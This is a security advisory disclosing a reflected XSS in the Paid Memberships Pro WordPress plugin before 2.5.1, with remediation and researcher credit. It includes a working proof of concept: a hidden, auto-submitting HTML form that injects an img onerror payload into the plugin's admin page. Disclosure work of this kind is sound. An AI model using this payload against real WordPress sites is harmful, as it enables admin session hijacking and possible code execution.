Summary
Affected versions of Paid Memberships Pro WordPress plugin are vulnerable to a reflected XSS in the admin page via the page post parameter. The page parameter is reflected using $_REQUEST, which prioritizes the POST parameter over the GET parameter.
Product
Paid Memberships Pro WordPress plugin before version 2.5.1
Impact
Exploiting XSS on an admin in WordPress could result in RCE when editing a plugin code.
Steps to reproduce
- WordPress with the vulnerable plugin installed on port 8000.
- Admin navigates to
<html><head></head> <body> <form style="opacity: 0;" action="http://localhost:8000/wp-admin/admin.php?page=pmpro-memberslist" method="POST"> <input type="text" name="page" value='"><img src=v onerror=alert(1) >' /> <button>submit</button> </form> <script> document.querySelector('form').submit(); </script> </body></html>
Expected result:
Paid Memberships Pro settings page will show with a javascript alert.
Remediation
Update Paid Memberships Pro plugin to 2.5.1 or above.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).
